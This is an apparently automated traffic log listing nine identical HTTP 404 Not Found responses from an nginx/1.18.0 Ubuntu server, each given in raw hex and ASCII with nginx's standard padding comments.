Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.18.0 (Ubuntu)Date: Tue, 17 Sep 2024 21:10:37 GMTContent-Type: text/htmlContent-Length: 564Connection: keep-aliveData Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 38 2e 30 20 28 55 62 75 6e 74 75 29 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx/1.18.0 (Ubuntu)</center></body></html><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page -->
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.18.0 (Ubuntu)Date: Tue, 17 Sep 2024 21:10:40 GMTContent-Type: text/htmlContent-Length: 564Connection: keep-aliveData Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 38 2e 30 20 28 55 62 75 6e 74 75 29 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx/1.18.0 (Ubuntu)</center></body></html><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page -->
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.18.0 (Ubuntu)Date: Tue, 17 Sep 2024 21:10:43 GMTContent-Type: text/htmlContent-Length: 564Connection: keep-aliveData Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 38 2e 30 20 28 55 62 75 6e 74 75 29 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx/1.18.0 (Ubuntu)</center></body></html><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page -->
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.18.0 (Ubuntu)Date: Tue, 17 Sep 2024 21:10:45 GMTContent-Type: text/htmlContent-Length: 564Connection: keep-aliveData Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 38 2e 30 20 28 55 62 75 6e 74 75 29 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx/1.18.0 (Ubuntu)</center></body></html><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page -->
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.18.0 (Ubuntu)Date: Tue, 17 Sep 2024 21:10:48 GMTContent-Type: text/htmlContent-Length: 564Connection: keep-aliveData Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 38 2e 30 20 28 55 62 75 6e 74 75 29 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx/1.18.0 (Ubuntu)</center></body></html><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page -->
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.18.0 (Ubuntu)Date: Tue, 17 Sep 2024 21:11:27 GMTContent-Type: text/htmlContent-Length: 564Connection: keep-aliveData Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 38 2e 30 20 28 55 62 75 6e 74 75 29 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx/1.18.0 (Ubuntu)</center></body></html><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page -->
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.18.0 (Ubuntu)Date: Tue, 17 Sep 2024 21:11:30 GMTContent-Type: text/htmlContent-Length: 564Connection: keep-aliveData Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 38 2e 30 20 28 55 62 75 6e 74 75 29 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx/1.18.0 (Ubuntu)</center></body></html><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page -->
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.18.0 (Ubuntu)Date: Tue, 17 Sep 2024 21:11:32 GMTContent-Type: text/htmlContent-Length: 564Connection: keep-aliveData Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 38 2e 30 20 28 55 62 75 6e 74 75 29 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx/1.18.0 (Ubuntu)</center></body></html><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page -->
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.18.0 (Ubuntu)Date: Tue, 17 Sep 2024 21:11:35 GMTContent-Type: text/htmlContent-Length: 564Connection: keep-aliveData Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 38 2e 30 20 28 55 62 75 6e 74 75 29 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx/1.18.0 (Ubuntu)</center></body></html><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page -->
